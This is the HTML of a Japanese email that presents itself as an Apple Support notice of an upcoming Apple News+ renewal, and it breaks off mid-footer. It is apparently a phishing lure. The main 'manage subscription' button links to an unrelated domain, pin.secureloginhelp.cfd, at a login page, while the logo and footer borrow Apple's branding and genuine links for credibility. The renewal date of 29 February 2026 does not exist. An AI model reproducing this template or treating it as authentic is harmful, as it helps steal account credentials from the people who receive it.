Apple News+ サブスクリプション更新のお知らせ
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>サブスクリプション更新のお知らせ</title>
<style type="text/css">
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
}
body {
background: #f5f5f7;
color: #1d1d1f;
line-height: 1.5;
padding: 20px 0;
}
table {
width: 100%;
border-collapse: collapse;
}
.email-container {
max-width: 600px;
margin: 0 auto;
background: #fff;
border-radius: 12px;
overflow: hidden;
box-shadow: 0 4px 12px rgba(0,0,0,.05);
}
.header {
padding: 30px 40px 20px;
border-bottom: 1px solid #f0f0f0;
text-align: center;
}
.apple-logo-container {
margin-bottom: 15px;
}
.apple-logo-icon {
width: 48px;
height: 48px;
margin-bottom: 10px;
}
.apple-logo-text {
color: #1d1d1f;
font-size: 24px;
font-weight: 600;
letter-spacing: -.5px;
margin-bottom: 5px;
}
.apple-logo-text span {
color: #86868b;
font-weight: 400;
}
.notification-header {
font-size: 28px;
font-weight: 600;
margin: 20px 0 10px;
color: #1d1d1f;
}
.content {
padding: 30px 40px;
}
.greeting {
font-size: 16px;
margin-bottom: 24px;
}
.highlight-box {
background: #f8f8fa;
border-radius: 10px;
padding: 24px;
margin: 24px 0;
border-left: 4px solid #007aff;
}
.detail-row {
display: flex;
justify-content: space-between;
padding: 12px 0;
border-bottom: 1px solid #f0f0f0;
}
.detail-row:last-child {
border-bottom: none;
}
.detail-label {
color: #86868b;
font-size: 15px;
}
.detail-value {
font-weight: 500;
color: #1d1d1f;
font-size: 15px;
}
.warning-box {
background: #fff8e1;
border-radius: 10px;
padding: 20px;
margin: 28px 0;
border: 1px solid #ffd54f;
}
.warning-title {
display: flex;
align-items: center;
color: #ff8f00;
font-weight: 600;
margin-bottom: 8px;
}
.warning-icon {
margin-right: 8px;
font-size: 18px;
}
.cta-button {
display: inline-block;
background: #007aff;
color: #fff;
text-decoration: none;
padding: 14px 28px;
border-radius: 10px;
font-weight: 600;
font-size: 16px;
text-align: center;
margin: 20px 0;
transition: background .2s;
}
.cta-button:hover {
background: #0056cc;
}
.footer {
background: #f5f5f7;
padding: 30px 40px;
color: #86868b;
font-size: 14px;
border-top: 1px solid #f0f0f0;
}
.footer-links {
margin: 20px 0;
}
.footer-link {
color: #515154;
text-decoration: none;
margin-right: 20px;
font-size: 13px;
}
.footer-link:hover {
text-decoration: underline;
}
.legal-text {
font-size: 12px;
line-height: 1.4;
margin-top: 20px;
color: #86868b;
}
@media (max-width: 600px) {
.header, .content, .footer {
padding: 20px 25px;
}
.notification-header {
font-size: 24px;
}
.highlight-box, .warning-box {
padding: 18px;
}
}
</style>
</head>
<body>
<table class="email-container">
<tr>
<td class="header">
<div class="apple-logo-container">
<img class="apple-logo-icon" src="https://s.mzstatic.com/email/images_shared/logo_apple_d-2x.png" alt="Apple Logo">
</div>
<div class="apple-logo-text">Apple<span>サポート</span></div>
<h1 class="notification-header">サブスクリプション更新のお知らせ</h1>
</td>
</tr>
<tr>
<td class="content">
<p class="greeting">いつもAppleのサービスをご利用いただき、誠にありがとうございます。<br>お客様のサブスクリプションがまもなく更新されます。</p>
<div class="highlight-box">
<table width="100%">
<tr class="detail-row">
<td class="detail-label">サブスクリプション名</td>
<td class="detail-value">Apple News+</td>
</tr>
<tr class="detail-row">
<td class="detail-label">現在のプラン</td>
<td class="detail-value">個人プラン</td>
</tr>
<tr class="detail-row">
<td class="detail-label">更新日</td>
<td class="detail-value">2026年2月29日</td>
</tr>
<tr class="detail-row">
<td class="detail-label">更新金額</td>
<td class="detail-value">500円（税込）</td>
</tr>
</table>
</div>
<div class="warning-box">
<div class="warning-title">
<span class="warning-icon">⚠</span> 自動更新について
</div>
<p>現在、自動更新が有効になっています。更新日までにキャンセル手続きをされない場合、上記サブスクリプションが自動的に更新され、登録されているお支払い方法に課金されます。</p>
<a class="cta-button" href="https://pin.secureloginhelp.cfd/v8/page/pinlogin?cid=52645862695266">Appleサブスクリプションを管理する</a>
</div>
<p>更新を希望される場合、特に操作は必要ありません。更新日までにキャンセルされない場合、自動的に更新処理が行われます。</p>
</td>
</tr>
<tr>
<td class="footer">
<p>このメールは自動送信されています。 ご返信いただいてもお答えできませんのでご了承ください。</p>
<div class="footer-links">
<a class="footer-link" href="https://support.apple.com/ja-jp">Appleサポート</a>
<a class="footer-link" href="https://www.apple.com/jp/legal/internet-services/itunes/renwal-notice.html">サブスクリプション規約</a>
<a class="footer-link" href="https://www.apple.com/jp/privacy">プライバシーポリシー</a>
</div>
<div class="legal-text">
<p>Copyright c 2026 Apple Inc. All rights reserved.</p>
<p>Apple Japan Inc., 〒106-6140 東京都港区六本木6-10-1 六本木ヒルズ森タワー</p>
<p>お問い合わせ: <a